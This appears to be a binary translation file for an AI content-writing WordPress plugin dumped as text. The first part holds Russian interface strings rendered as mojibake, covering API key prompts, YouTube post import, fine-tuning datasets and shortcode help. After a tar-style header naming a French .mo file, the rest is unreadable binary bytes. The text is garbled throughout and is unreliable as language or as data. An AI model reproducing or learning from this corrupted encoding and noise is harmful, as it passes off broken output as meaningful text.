вам необходимо ввеÑти ключ API Pinecone.io или ключ API Qdrant.Чтобы воÑпользоватьÑÑ Ñтой функцией, необходимо ввеÑти API-ключ Pinecone.io или API-ключ Qdrant на вкладке "API-ключи" и Ñохранить наÑтройки.Чтобы иÑпользовать Ñту функцию, вам необходимо ввеÑти ключ API Pinecone.io или ключ API Qdrant на вкладке «Ключи API». Перейдите в меню «ОÑновные наÑтройки» плагина -> на вкладке «Ключи API», наÑтройте ключ API. Ð´Ð»Ñ Ð²ÐµÐºÑ‚Ð¾Ñ€Ð½Ð¾Ð¹ базы данных (раздел «Параметры API Ð’ÑтраиваниÑ»)Чтобы Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð»Ð°, вам необходимо ввеÑти ключ API OpenAI.Ð”Ð»Ñ Ñтого необходимо ввеÑти дейÑтвительный API-ключ Anthropic Claude!Ð”Ð»Ñ Ñтого необходимо ввеÑти дейÑтвительный ключ API OpenAI/AiomaticAPI!Чтобы выполнить Ñто дейÑтвие, необходимо войти в ÑиÑтему!Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин Businessomatic!Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин F-omatic!Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин Linkedinomatic!Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин Pinterestomatic!Вам нужно указать параметр id, чтобы Ñтот Шорткод работал!Готово!СпиÑок ключей API YouTube (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ Ð¿Ð¾Ñ…Ð¾Ð¶Ð¸Ñ… видео):YouTube API:URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñта ÑообщеÑтва YouTubeШаблон поÑта Ð´Ð»Ñ ÑообщеÑтва YouTubeТип поÑта ÑообщеÑтва YouTubeÐ’Ñтраивание YouTubeYouTube Ð´Ð»Ñ ÐŸÐ¾Ñтов в БлогеПодпиÑÑŒ к видео на YouTubeПараметры Видео на YouTubeПоиÑк видео на YouTubeМодель ÑкÑтрактора ключевых Ñлов Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка видео на YouTube:Промпт Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка видео на YouTube:Миниатюра Видео YouTubeВидео YouTube Ð´Ð»Ñ Ð¿Ð¾ÑтаURL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾ YouTubeURL-адреÑа Видео на YouTubeURL-адреÑа видео YouTube/URL-адреÑа деÑкрипторов каналовУчебное поÑобие по Преобразованию Видео Ñ YouTube в ПоÑтеВаш ÑобÑтвенный URL-Ð°Ð´Ñ€ÐµÑ HTML или изображениÑ:Ваш User Agent:Срок дейÑÑ‚Ð²Ð¸Ñ Ð²Ð°ÑˆÐµÐ¹ поддержки Aiomatic иÑтек. ПожалуйÑта, обновите ее, чтобы продолжить получать поддержку плагина. ПоÑле Ð¿Ñ€Ð¾Ð´Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸, пожалуйÑта, нажмите кнопку "Отозвать лицензию" в меню "ОÑновные наÑтройки" -> вкладка "ÐÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð°" и добавьте Ñвой лицензионный ключ Ñнова, чтобы активировать плагин Ñ Ð¿Ñ€Ð¾Ð´Ð»ÐµÐ½Ð½Ð¾Ð¹ лицензией поддержки.Генератор ПоÑтов YoutubomaticЗулуÑÑкийЗулу (переводчик Google)[aicontent] Ð˜Ð¼Ñ AI-аÑÑиÑтента:[aicontent] Поддержка вложенных шорткодов (раÑÑˆÐ¸Ñ€ÐµÐ½Ð½Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ):[aicontent] Шорткод[aicontent] Модель Шорткода по умолчанию:[aicontent] Штраф за чаÑтоту Шорткодов:[aicontent] Штраф за наличие Шорткода:[aicontent] Температура Шорткода:[aicontent] Шорткод Top_p:[aicontent] Учебное видео по шорткоду:[aicontent] Шорткод:добавьте Ñтот OmniBlock и Ñохраните наÑтройки, чтобы получить URL-адреÑпоÑле Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ данных перейдите на вкладку «Ðаборы данных» Ñтого Плагина, найдите загруженный файл (обÑзательно Ñинхронизируйте файлы) и нажмите «Создать тонкую ÐаÑтройку» Ð´Ð»Ñ Ð½ÐµÐ³Ð¾. Ð’ поÑвившемÑÑ Ð²Ñплывающем окне выберите «ÐÐ¾Ð²Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒÂ», еÑли вы хотите Ñоздать новую тонкую ÐаÑтройку, или выберите любые ÑущеÑтвующие модели Ñ Ñ‚Ð¾Ð½ÐºÐ¾Ð¹ наÑтройкой, чтобы Ñоздать новую тонкую ÐаÑтройку на оÑнове Ñтой ÑущеÑтвующей модели Ñ Ñ‚Ð¾Ð½ÐºÐ¾Ð¹ наÑтройкой. Этот процеÑÑ Ð·Ð°Ð¹Ð¼ÐµÑ‚ некоторое времÑ, Ð´Ð»Ñ Ð½Ð°Ð±Ð¾Ñ€Ð° данных из 500 Ñтрок обычно требуетÑÑ Ð¾ÐºÐ¾Ð»Ð¾ 20 минут.ПоÑле Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ‚Ð¾Ð½ÐºÐ¾Ð¹ ÐаÑтройки перейдите на вкладку «Точные ÐаÑтройки модели» и проверьте Ñозданную вами тонкую ÐаÑтройку. ОбÑзательно Ñинхронизируйте FineTunes. Подождите, пока Ñ‚Ð¾Ð½ÐºÐ°Ñ Ð½Ð°Ñтройка не будет указана Ñо ÑтатуÑом «уÑпешно», поÑле чего она поÑвитÑÑ Ñ‚Ð°ÐºÐ¶Ðµ в Плагине и может быть выбрана напрÑмую при выборе моделей, которые вы хотите иÑпользовать Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ… в Плагине! ЕÑли вы не видите Ñвою доработанную модель в раÑкрывающемÑÑ ÑпиÑке, убедитеÑÑŒ, что Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° доработку выполнен. Ð’Ñ‹ также можете щелкнуть ÑÑылку «Синхронизировать модели», чтобы получить поÑледние модели.Ð°Ð½Ð°Ð»Ð¾Ð³Ð¾Ð²Ð°Ñ Ð¿Ð»ÐµÐ½ÐºÐ°Ð¸ Ñоздайте Ñвой ключ API.анимеобÑзательно не пропуÑтите Ñтот шаг!обÑзательно не пропуÑтите Ñтот шаг! Кроме того, убедитеÑÑŒ, что вы четко определилиÑÑŒ Ñпрежде чем продолжить. Ð’Ñ‹ можете отфильтровать, какие ПоÑÑ‚Ñ‹ вам нужно отредактировать. Перед маÑÑовым редактированием Контента также рекомендуетÑÑ Ñделать общую резервную копию Ñайта.прежде чем продолжить. Ð’Ñ‹ можете отфильтровать, какие поÑÑ‚Ñ‹ нужно проиндекÑировать.на %sSSL-верÑÐ¸Ñ cURLcURL-верÑиÑкейÑÑ‹ от OpenAIпроверить учебник по Ñтой функциикинематографичеÑкийкомикÑÑоздавайте как можно больше качеÑтвенных ВопроÑов и Ответов, добавлÑйте их в одну Ñтроку, давайте подробный контекÑÑ‚. Ð’ Ñтом Ñлучае (в отличие от Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ AI) вам не нужно Ñоздавать очень большие объемы данных, доÑтаточно ввеÑти только ту информацию, которую вы хотите, чтобы модель AI узнала.Ñоздавайте как можно больше качеÑтвенных ВопроÑов и Ответов, Ñодержащих как можно больше полезной информации, которую вы можете придумать, и ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¼Ð¾Ð¶ÐµÑ‚ раÑÑказать AI о цели вашей Тонкой ÐаÑтройки. Имейте в виду, что вам может потребоватьÑÑ Ñоздать очень большие объемы данных (деÑÑтки Ñ‚Ñ‹ÑÑч ВопроÑов и Ответов), чтобы Ñто работало должным образом.custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2Bцифровое иÑкуÑÑтвоÐнглийÑкийуÑилитьпример: 23,24,25Ñ„Ñнтези-артоÑобенноÑÑ‚ÑŒ ПлагинаоÑобенноÑÑ‚ÑŒ Плагина.Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð° Плагин также поддерживает WPML.Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡Ð°ÑŽÑ‰Ð¸Ñ… видео и других полезных реÑурÑов. ЗдеÑÑŒ вы вÑегда можете найти Ñамое поÑледнее обновление Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ и как оно было улучшено. Я поÑтоÑнно добавлÑÑŽ новые Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Плагину, чтобы помочь вам получить макÑимальную отдачу от него, поÑтому обÑзательно подпишитеÑÑŒ и будьте в курÑе поÑледних верÑий Плагина.Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²Ñтраиваний.Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð¾Ð½ÐºÐ¾ наÑтроенных моделейиз OpenAI.получить новый аккаунт ÑейчаÑ!глобальныйh2h3здеÑÑŒiMediamatic ИнÑтаграм-ботеÑли нет, вы можете начать вводить Ñвои данные в Плагин. Чтобы не потерÑÑ‚ÑŒ вашу работу, Ñти данные хранÑÑ‚ÑÑ Ð² локальном хранилище вашего браузера. Ðа Ñамом деле Ñто Ñложно, поÑтому научитеÑÑŒ пиÑать наборы данных, изучивеÑли у Ð²Ð°Ñ ÑƒÐ¶Ðµ еÑÑ‚ÑŒ готовые данные в требуемом формате (файл JSONL), вы Ñможете напрÑмую загрузить их в OpenAI. ОбÑзательно выберите базовую модель, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð¹ вы хотите Ñоздать точную ÐаÑтройку, из раÑкрывающегоÑÑ ÑпиÑка «ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒÂ», потому что на Ñтом шаге вы решаете, Ð´Ð»Ñ ÐºÐ°ÐºÐ¾Ð¹ модели вы хотите Ñоздать точную ÐаÑтройку Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶ÐµÐ½Ð½Ñ‹Ð¼Ð¸ данными. Чтобы загружать большие наборы данных, ваш макÑимальный размер загружаемого файла WordPress должен быть уÑтановлен как минимум на размер файла, который вы хотите загрузить. Ð’Ñ‹ можете ÑледитьизометричеÑкийштриховой риÑунокнизкополигональныймодельный паÑтанеоновый панкизилиоригамифотографичеÑкийпикÑель-артплейлиÑÑ‚Ñ‹ на YouTube.ПлагинзапроÑрезультатовИÑточник запиÑиИÑточник запиÑиÑтраница ÐаÑтроек «ВÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI»ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° %sÐе удалоÑÑŒ определить, доÑтупны ли Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð»Ñ %s.Плагин %s обновлен.Ñто руководÑтвоЭто инÑтрумент, предназначенный Ð´Ð»Ñ Ñбора информации Ñ Ð²Ð°ÑˆÐ¸Ñ… Ñтраниц, поÑтов или продуктов и ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð° их оÑнове наборов данных. Это может быть полезно, еÑли вы хотите обучить новую модель, чтобы она лучше разбиралаÑÑŒ в контенте вашего Ñайта. ИнÑтрумент задает заголовок поÑта/Ñтраницы/продукта в качеÑтве "вопроÑа", а контент - в качеÑтве "ответа". Ð’Ñ‹ можете Ñкачать полученные файлы и загрузить их Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ вкладки 'Загрузчик набора данных'.Ñто видеотекÑтура Ð¿Ð»Ð¸Ñ‚ÐºÐ¸Ð´Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ñтой цели. Загруженный файл должен Ñодержать пары Промптов и ЗавершениÑ. «Промпт» — Ñто вопроÑ, а Â«Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°Ñть» — ответ. Ð’Ñ‹ можете найти пример файлачтобы добавить Ñкран выбора перÑоны чатбота на фронт-Ñнде, поÑетители могут нажать на перÑону чатбота, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð¹ они хотÑÑ‚ пообщатьÑÑ. ЗдеÑÑŒ также можно будет иÑпользовать другие параметры [aiomatic-chat-form].чтобы добавить Форму, похожую на OpenAI's Playground Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐŸÐ¸Ñьменного ТекÑта AI на оÑнове Промптов.чтобы добавить форму, похожую на OpenAI's Text Completion Playground, Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¿Ð¸Ñьменного текÑта AI на оÑнове Промптов.добавить форму Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ AI-изображений (GPT-3) на оÑнове Промптов.чтобы добавить форму Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ AI (Stable Diffusion) на оÑнове Промптов.чтобы добавить форму Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ‡Ð°Ñ‚Ð°, похожего на ChatGPT. Однако обратите внимание, что Ñто не ChatGPT, а пользовательÑкий чат-бот, Ñозданный поверх OpenAI API.Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (GPT-3) на оÑнове аргумента «seed_expre» контента/анонÑа/заголовка поÑта, в котором размещен Шорткод,Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (ÑÑ‚Ð°Ð±Ð¸Ð»ÑŒÐ½Ð°Ñ Ð´Ð¸Ñ„Ñ„ÑƒÐ·Ð¸Ñ) на оÑнове аргумента «seed_expre» контента/анонÑа/заголовка поÑта, в котором размещен Шорткод,Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого напиÑÐ°Ð½Ð¸Ñ Ñтатьи на оÑнове аргумента «seed_expre» контента/анонÑа/заголовка поÑта, где размещен Шорткод,проверка текÑта на наличие контента, Ñозданного иÑкуÑÑтвенным интеллектомпроверить текÑÑ‚ на плагиатпроверить текÑÑ‚ на ненормативную лекÑику и модерировать егопреобразовать аудиофайл в текÑÑ‚Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Stable DifusionÐ´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа, добавленного в шорткод, и автоматичеÑкого ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð° в поÑÑ‚,включить WordPress, как ÑпиÑок ПоÑтов. ИÑпользование:включить ÑпиÑок, Ñодержащий только ПоÑÑ‚Ñ‹, импортированные Ñтим Плагином, ивключить текÑтовое предÑтавление оÑтавшихÑÑ ÐºÑ€ÐµÐ´Ð¸Ñ‚Ð¾Ð² Ð´Ð»Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ учетной запиÑи (в Ñлучае, еÑли иÑпользование AI ограничено наÑтройками Плагина)включить визуальное предÑтавление оÑтавшихÑÑ ÐºÑ€ÐµÐ´Ð¸Ñ‚Ð¾Ð² Ð´Ð»Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ учетной запиÑи (в Ñлучае, еÑли иÑпользование AI ограничено наÑтройками Плагина)ценообразование токеновтокеныИÑпользованоиÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ð¾Ñти вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°Ñлово1, Ñлово2, Ñлово3languages/aiomatic-automatic-ai-content-writer-fr_FR.mo000064400002120317147577714370017222 0ustar00Þ•m „Sç 즈Þ‰Þ¢Þ(ÁÞ#êÞ%ß 4ß.?ßÈnßê7à "á¹/â éâ)ôâBã!aã(ƒã$¬ãLÑã0äOä1däS–äêäÿäåe;僡åA%æ™gæ)ç+çEçÌ_ç>,è9kè ¥è²è¹èÎèéèýèééé ééé"é$é(é*é,é4é8é:é<é>éL@é*é,¸é!åéê ê%êEêdêêšê®êÍêãêë&ëCëWë të‚ë žë ©ë#Êëîëì%ì:ìTì"gìŠìœìµìÏì!ëì í.íKí]í|í •í"¶í#Ùíýíî9î Rî%`î$†î«î Ãîäîöîïï&ïAïSïjï|ï‘ï §ï´ïÉï$Þï!ð %ðFð_ðsð†ð›ð!³ðÕðçðúðñ2ñAñ^ñ{ñ‹ñ œñ¦ñ¹ñÕñòñ ûñò;ò[òzòšò·òÕòòò ó1óLóhó ˆó©ó&Æó#íó$ô#6ô$Zô#ô £ôÄô%äô õ'õ"Eõhõ!yõ›õ¬õ ¾õÈõÝõ æõôõö ö$'ö(Lö uöö—ö%¶ö&Üö(÷.,÷[÷){÷*¥÷%Ð÷ö÷øø ø(ø8ø-Jøxø‰øø¬ø¿øÈøÑøêøÈúø ÃùÎù!âùúú(ú<úRúWû^ûfû~û…û”û §û µûÃûÛûíû*ü+3ü+_ü,‹ü¸übÒü+5ý,aýŽý¦ý%¿ýåýþ!þ":þ ]þ!~þ þ»þ$×þ%üþ "ÿ9ìýªºÏ ßÒìп*ªÕ"ë ' A V  l x "‘ ´ Ë æ )ø  " , ±I €û  | " &À ç     + 9 M ] q   .„1Q¶ )EIZn }‡ – ©ºÙù0F\s{–-©*×:æ=$,)0%Z&€§¹Ìçî0j9)¤=Î 1F\q!‡"©Ìßó 4L-e.“ ÂÌ ÒÜ&ù' Hcw!”*¶,á-3 ISg n zˆ¡ ¶Ä!Ó3õ4)9^:˜6Ó $$Icz8’tË&@$gMŒVÚ!1 St*”A¿# %/EX_ y…¤³ Ê× éõ  - 4 +N  z … £ « Æ Ï ë ð !!#!A! H! R!$s!˜! ¬!¶!Ó!í!"!"?"fQ"`¸"#!#<# E#ÁQ# $$8$?$F$c$ k$ x$„$Œ$§$,·$ä$ì$%!% 0%;%%@%f%x%Ž%Ÿ%·%Ö%ó%&&.&F&_&r&‚&"œ&¿&Ñ&è&÷& ''-'>'Q'j''%œ'Â'Ñ'ë'Ïú'gÊ(.2)Na)°)Â)tÝ)R*´n*#+,+5+Q+Y+%l+’+&¦+%Í+jó+F^,ª¥,HP.g™.¶/ ¸/Ã/Ü/ïù/<é1ž&3UÅ56 16=6L6)Q6 {6‰6ž6¯6Á6 Ù6ã6 ù67) 777?7O7`7r7…7”7¤7¶7È7è70ð7!8?8H8Þd8C9‚T9 ×: x; ƒ;(; ¸;Ä;Í;é;4û;÷0<¨(= Ñ>ÝA ôABBB3BHBcB uB#B$¥BÊBàBöBüBCC3C8C =CKIC •C¢C±C¸CÒCáCñCDDD5DJD`D~D ‚D.D¼DÄDÛDóDE"E?E™PESêE>F#BF$fF‹F’F¨F¹F*ÔF ÿF G&GNQAQ;ÏQ7 R†CR*ÊR(õRGSCfS?ªS2êSiTr‡TpúTEkUZ±U- V›:VØÖVI¯W=ùWK7XˆƒXv \[ƒ\Zß\:]O^[i_\Å_["`\~`)Û`)a'/a=Wa@•a Öaäaêab7bNb8mb ¦bA²bDôb@9c@zcD»c:d;dRdXd xd †d“d¬d¼dÂd/Ôde e0eGe[eaezee‘e¢e·eÍeëeýe ff f*,fWf]f!lf5ŽfÄfÝf&òfg6g/GgwgŒg Ÿgªg(¼gåhôhWiiiCˆi>Ìi j!*j$Ljqjj§j"Âj4åjk"1klTkÁkÞkük#l›z€›{û›Jwœ>ŸŸ .Ÿ8Ÿ UŸ_ŸhŸ„Ÿ‹ŸŸ ¦Ÿ ²Ÿ ¾Ÿ ÉŸ ÔŸ ߟ êŸ õŸ     9 Y a p /€ ° È á ó ¡ ¡ ¡¡#¡:¡B¡K¡Z¡x¡•¡¬¡'áë¡ ô¡;¢C<¢€¢œ¢¥¢®¢Ê¢!Ü¢$þ¢#£ A£ K£W£m£ }£iˆ£ò¤ù¤¥7¥ T¥y_¥Ù¦ï¦§ §§3#§W§n§§"™§¼§Ú§ ø§¨¨*¨!:¨ \¨*h¨“¨ £¨±¨¸¨¿¨Ù¨ë¨þ¨©!©3©F© `© k© w©‚©‹©§©¯©À© թ⩪ª$(ª Mª [ªiª{ªšª¯ªŪÛª"òª«)+«U«h«|«…«¡«¨«« ʫث髬¬5¬P¬$f¬/‹¬»¬Á¬Ú¬â¬ý¬­"­)'­*Q­*|­+§­Ó­!â­® ®¯#®Ó®Û®ö®¯$¯+¯2¯L¯r^¯ ѯ^ݳ?<´|´´•´ ©´µ´»´$Ô´GùµuA¶`·¶=·4V·‹·‘·ª· ³·%½· ã·9î·³(¸ˆÜ¸!e¹›‡¹ #º-º Jº3Wº‹ºÉ¥ºÎo¼>½A½OE½}•½¾¾Ò¾3Õ¾ ¿¿˜0¿OÉ¿‹ÀÇ¥ÀtmÁfâÁIÂ+bÿŽÄ‡NÅDÖÅÁÆ£ÝÆÒÇÛTË”0ÏœÅÏåbÐçHÑR0ÒƒÓv!Ô˜Õ«ÖœË×rhÙjÛÚGFÜqŽÜqÝrÝwÝ ÝœÝ¤Ý¿ÝÅÝ4ÖÝ Þ#Þ5ÞHÞ ZÞgÞ{Þ’ÞÖªÞà›à°àÇàAÜà áP*áÉ{â\Eãá¢ä`„åéåå£Ïæ?sè³éæÓêºì¿í ÅíÐíîí÷íüí"î%î9î Kî]Xïíoð]ñoòƒòžò²òÐòrêò8]ó–ó´±ófô{ôpôñõSò÷pFúq·ú¶)û}àûø^ý²Wþv “ À¶§wÀgà®Hˆ÷ä€.e>”1Ó ûû ø99:7t*¬'×ÿ4*Cnt¥ÀÇÍ Ö á ëöü!*VF ¨½Å×ßñøþ!(#B$f‹œ¢ »Çæî */G]sŒ”¯#Àäë  # : DO Vbh‰.¤ Ó.Þ  e³ '$;`u}˜  ©· ÓÞü ! 3 @JR m { œ§ Å Ó àìõ6< U_|„Ÿ¦ ÆÓë  "1 #T %x ž ½ à Ü ä ÿ !!#!6!!U!"w!š!¯!Å! Õ!à!ñ!A"3E"4y"®"É"<ã"= #0^#.##¾#8â#9$6U$7Œ$*Ä$ï$1%2:%m%2‡%0º%1ë%&4&J&g_&`Ç&e('aŽ'ð' (#()<( f(p( ( ˜(-¢(1Ð(>)A)P) `)k)})„)*”)+¿)ë)ï)** /*;*@*X*-]*‹* ‘*5œ*Ò*á*)è*+>+/Z+ÓŠ, ^.h.…. ‹. ˜. ¥. ³. ½. Ê. ë.ù.//.5/%d/&Š/ ±/»/Ò/ì/0 0 0 70E0T0Y0=`0Gž0iæ0 P1[1b1!|1 ž1ª1¿1Ñ1RÚ1-2<2 A2 K2V2 Y2 c2„2%›2Á2Ê2ê2°ó2¤3Ã3 È3 Ò3Ü3 ù34 4U*46€4k·4#5™*6¡Ä6f7w7&Ž7°µ7f:&m:'”: ¼:!Ý:ÿ:C;º_;­<&È<'ï<.=/F=v=0’=!Ã=å=ì=ñ= > >>-> => K> X> d> o> |> ˆ>I•>ß> ô>??&?17?i?q?ƒ?#’?¶?Æ?Ì?å?õ? @@&@9@X@l@~@@£@²@ Â@ Î@Û@à@ é@ô@ ú@A AA,A4AHAOAlAtAA¤AµAÉAØAÞAîAB B!B6B FBgB nByB•B °B;¼B<øBK5CgCléC!VDSxD,ÌEùEF6F8TF4F7ÂF3úF).G*XG,ƒG(°G7ÙG1H#CH*gH’H(²H ÛH0üH--I![I&}I"¤I'ÇI$ïI¢J8·J9ðJ0*KÊ[KG&L nM^{NÚN0ñN"O?QQQkQ„Q5QÓQïQRRR7R?R SR^R|R ŽR šR"§R"ÊRíR SS0S IS(VS'S§SºSÍSáSøS T T 'T 2T ?T LTZTxT —T £T ¯T¼T ÍT ×TIâT-,UZUlU U ‰U,”U-ÁU*ïU.VjIV´VÄV"ÊVíV)þV((W&QW'xW WºWËWÝWâWêW ùWX X-X=XMX$UX%zX" X#ÃXçXÿXYEY%UY${Y! Y"ÂY-åY1Z!EZ!gZ(‰Z)²Z(ÜZ)[$/[%T[*z[+¥[Ñ[)ã[Ñ \äß`YÄeiGžl>ænd%qrŠsiývgz}÷}tu€šê‚E……kˇ7ŠWŒ9j,¤‘TÑ”G&—nšveŸ&¢S)¤J}¦‚Ȩ¨K«Qô­HF°n²Uþ´LT·r¡¹U¼Lj¾r·À*øÄÀÄÈÄ!ãÄ ÅEÅ XÅbÅjÅ…ÅŕŰŸžÅÄÅËÅßÅÿÅÆ4ÆLÆeÆ:ƼÆÓÆ$çÆ% Ç2Ç MÇWÇ`Ç wÇ ‚ÇŽÇ ®Ç$ÏÇ%ôÇ$È%?ÈõeÈè[ÉDÊ5XÊŽÊ ¦Êæ°Êå—Ë°}̯.ÍÞÍþÍ ÎÎ.Î?Î.NÎ}ΛκÎÀÎÉÎåÎ êÎJ÷ÎBÏ"^Ï Ï¢Ï ¶ÏÃÏÈÏ áÏïÏÐÐ3ÐOÐ`ÐuЋРжÐÕÐ2õÐ(Ñ´:ѯïÑŸÒ§ÒÂÒàÒüÒÓ ÓÓÓÓ0Ó CÓQÓXÓrÓ‚Ó‹Ó›Ó¤Ó ÀÓÍÓÒÓáÓ ñÓÿÓÔÔÔ"/Ô-RÔ€Ô&Ô¶ÔÅÔØÔðÔ ÕÕ9.Õ-hÕ–ÕŸÕ ¦Õ²ÕÏÕaßÕŽAÖ6ÐÖÊ×3Ò×*Ù&1Ù0XÙ£‰Ù-ÚS>Ú’ÛP¢Û]óÛ¬QÜJþÜUIÝ<ŸÝxÜݾUÞPß=eß…£ß×)á/â:1âslâYàâS:ã¡ŽãŠ0äE»ä|åJ~åhÉå†2æʹæH„çGÍçœè•²èRHéO›égëé;Sê4êvÄê€;ëU¼ë_ìrì[xí[Ôí:0î·kîŸ#ïCÃï8ð´@ð6õð6,ñcñ2ò24ò5gò¸ò9Vó9ó:Êó7ô7=ô:uô¡°ô6Rõ7‰õÁõ‰Oö$Ùö-þöÅ,÷3ò÷(&ø*OøPzøCËø?ù$Où)tù9žùCØù-úCJúPŽú»ßúz›ûGü>^üIü@çü8(ýaaý.Ãý/òýU"þYxþuÒþ*Hÿ*sÿ)žÿ,Èÿwõÿ®mE™bJü,G¶t+ J(TP}0ÎUÿZUw°U(d~LãL0 '} .¥ 1Ô ù N #O "s >– >Õ B W ˆs Šü &‡\®q †};5@7v3®OâR2Q…#× û6=W_KzÆÝðø @$_%„'ªaÒ£41ØB M§Uý!-&œ2* Ï-xp1_é5„I:kÎ>~:Ce¹GáLsQZuUÛÐYÓ¬^Æ€b6Gg~kp„:t4¿x,ôx3!y$Uy(zy>£yPây73|”k~{£|ƒ! „(B„>k„Bª„8í„&…)5†v_†EÖ‡/ˆfLˆŒ³ˆI@ŠŠ‹BœŒß€_<à~‘~œ’H”Ód•­8–Ùæ–~À—Ñ?™úšD ›qQ›OÛSœ,gœ2”œ‚ÇœJBK¡ÁŽ¡†P¢™×¢rq£‘ä¤Yv¥|Ð¥üM¦ƒJ§"ΧUñ¨ÁGªÕ ¬߬ta®@Ö°-±(E±7n±S¦±;ú±96²¥p²œ³³³,ϳü³<´€T´~ÕµUT·Sª·?þ·[>¸š¸¢¸º¸øÓ¸Ù¸ò¸ ¹¹N-¹|¹%¹§¹Á¹3Õ¹! º+º&Eºlºsº º—º®º¶ºѺ Úºäº2麻7»R»k»r» 